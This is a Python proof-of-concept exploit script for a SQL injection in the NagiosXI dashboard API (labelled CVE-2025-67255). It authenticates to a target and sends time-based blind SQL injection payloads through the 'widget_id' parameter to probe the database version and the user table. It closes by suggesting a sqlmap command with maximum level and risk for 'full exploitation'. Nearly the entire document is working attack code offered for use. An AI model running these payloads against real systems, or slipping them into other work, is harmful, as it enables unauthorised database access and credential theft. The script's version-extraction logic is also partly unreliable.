# CVE-2025-67255 NagiosXI Dashboard SQL Injection PoC
# Target: NagiosXI 2026R1.0.1 (build 1762361101)
# Vulnerability: SQL Injection in Dashboard parameters
# CVSS: 8.8 (High)
import requests
import sys
from urllib.parse import urlencode
TARGET_URL = "http://target-nagiosxi.local/nagiosxi/api/v1/"
LOGIN_URL = f"{TARGET_URL}login"
DASHBOARD_URL = f"{TARGET_URL}dashboard/data"
def login(session, username, password):
"""Authenticate to NagiosXI and obtain session cookie"""
login_data = {
'username': username,
'password': password
}
response = session.post(LOGIN_URL, data=login_data, timeout=30)
if response.status_code == 200 and 'Set-Cookie' in str(response.headers):
print(f"[+] Authentication successful for user: {username}")
return True
print("[-] Authentication failed")
return False
def exploit_sqli(session, param_name, payload):
"""Send SQL injection payload to Dashboard parameter"""
injection_data = {
param_name: payload,
'output': 'json'
}
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest'
}
try:
response = session.post(DASHBOARD_URL, data=injection_data,
headers=headers, timeout=30)
return response
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return None
def extract_db_version_blind(session):
"""Extract database version using time-based blind SQL injection"""
print("[*] Attempting to extract database version via blind SQLi...")
for version_payload in [
"1' AND (SELECT CASE WHEN (substring(@@version,1,1)='5') THEN SLEEP(5) ELSE 0 END) AND '1'='1",
"1' AND (SELECT CASE WHEN (substring(@@version,1,1)='8') THEN SLEEP(5) ELSE 0 END) AND '1'='1"
]:
response = exploit_sqli(session, 'widget_id', version_payload)
if response and response.elapsed.total_seconds() > 4:
print(f"[+] Database version extraction successful: {response.text}")
return True
return False
def extract_users_blind(session):
"""Extract user credentials using time-based blind SQL injection"""
print("[*] Extracting user credentials via blind SQLi...")
payload = "1' AND (SELECT COUNT(*) FROM nagiosxi.nagios_users) > 0 AND SLEEP(5) AND '1'='1"
response = exploit_sqli(session, 'widget_id', payload)
if response and response.elapsed.total_seconds() > 4:
print("[+] User table exists and contains data")
return True
return False
def main():
if len(sys.argv) < 4:
print("Usage: python cve-2025-67255.py <target_url> <username> <password>")
print("Example: python cve-2025-67255.py http://nagiosxi.local admin nagios123")
sys.exit(1)
global TARGET_URL, LOGIN_URL, DASHBOARD_URL
TARGET_URL = sys.argv[1].rstrip('/') + '/nagiosxi/api/v1/'
LOGIN_URL = f"{TARGET_URL}login"
DASHBOARD_URL = f"{TARGET_URL}dashboard/data"
username = sys.argv[2]
password = sys.argv[3]
session = requests.Session()
if not login(session, username, password):
sys.exit(1)
print("[*] Starting SQL injection exploitation...")
extract_db_version_blind(session)
extract_users_blind(session)
print("[*] For full exploitation, use sqlmap:")
print(f"sqlmap -u '{DASHBOARD_URL}' --cookie='PHPSESSID=...' -p widget_id --level=5 --risk=3 --dbs")
if __name__ == "__main__":
main()